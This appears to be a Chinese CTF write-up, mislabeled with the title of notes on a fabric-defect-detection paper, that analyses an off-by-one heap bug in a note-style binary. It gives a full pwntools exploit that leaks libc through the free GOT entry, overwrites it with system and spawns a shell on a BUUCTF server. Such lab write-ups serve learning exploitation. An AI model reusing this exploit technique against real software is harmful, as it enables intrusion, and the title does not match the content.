1. 程式人生 > 實用技巧 >論文閱讀筆記《Automatic Fabric Defect Detection with a Multi-Scale Convolutional Denoising Autoencoder Net》

論文閱讀筆記《Automatic Fabric Defect Detection with a Multi-Scale Convolutional Denoising Autoencoder Net》

這是一道非常典型的off-by-one

先分析原始碼

create函式

先建立一個大小0x10大小的結構體,並且+0是大小,+8是指標

struct

{

size_t size;

char* str;

}

edit函式

編輯結構體的str成員,它這裡有個read_input函式,可以溢位單個位元組

show函式

一般列印函式都是用來洩露libc地址的

delete函式

釋放空間

既然有off-by-one,那麼可以嘗試堆重疊,來改變下一個堆的地址,而且又因為其建立函式,會先建立一個struct,在建立一個字串堆,而字串堆是通過struct堆的*str查詢的,也就是說我們只要把這個變為地址變為libc裡函式的一個地址,在edit,然後再把system函式給扔進去(got)就會覆蓋跳轉地址,在呼叫哪個函式即可

 1 from pwn import *
 2 
 3 context.log_level = 'debug'
 4 #p=process('./pwn')
 5 p=remote('node3.buuoj.cn',26446)
 6 elf=ELF('./pwn')
 7 libc=ELF('libc-2.27.so')
 8 def add(size,content):
 9     p.sendlineafter('Your choice :',str(1))
10     p.sendlineafter('Size of Heap(0x10 or 0x20 only) : ',str(size))
11 p.sendlineafter('Content:',content) 12 13 def delete(idx): 14 p.sendlineafter('Your choice :',str(4)) 15 p.sendlineafter('Index :',str(idx)) 16 17 def show(idx): 18 p.sendlineafter('Your choice :',str(3)) 19 p.sendlineafter('Index :',str(idx)) 20 21 def edit(idx,content):
22 p.sendlineafter('Your choice :',str(2)) 23 p.sendlineafter('Index :',str(idx)) 24 p.recvuntil("Content: ") 25 p.send(content) 26 27 add(0x18,'pppp') 28 add(0x18,'pppp') 29 add(0x18,'/bin/sh\x00') 30 31 edit(0,'a'*0x18+'\x41') 32 delete(1) 33 34 payload='a'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(elf.got['free']) 35 add(0x38,payload) 36 37 show(1) 38 39 p.recvuntil('Content : ') 40 libcbase=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['free'] 41 system_addr=libcbase+libc.symbols['system'] 42 43 edit(1,p64(system_addr)) 44 #gdb.attach(p) 45 delete(2) 46 p.interactive()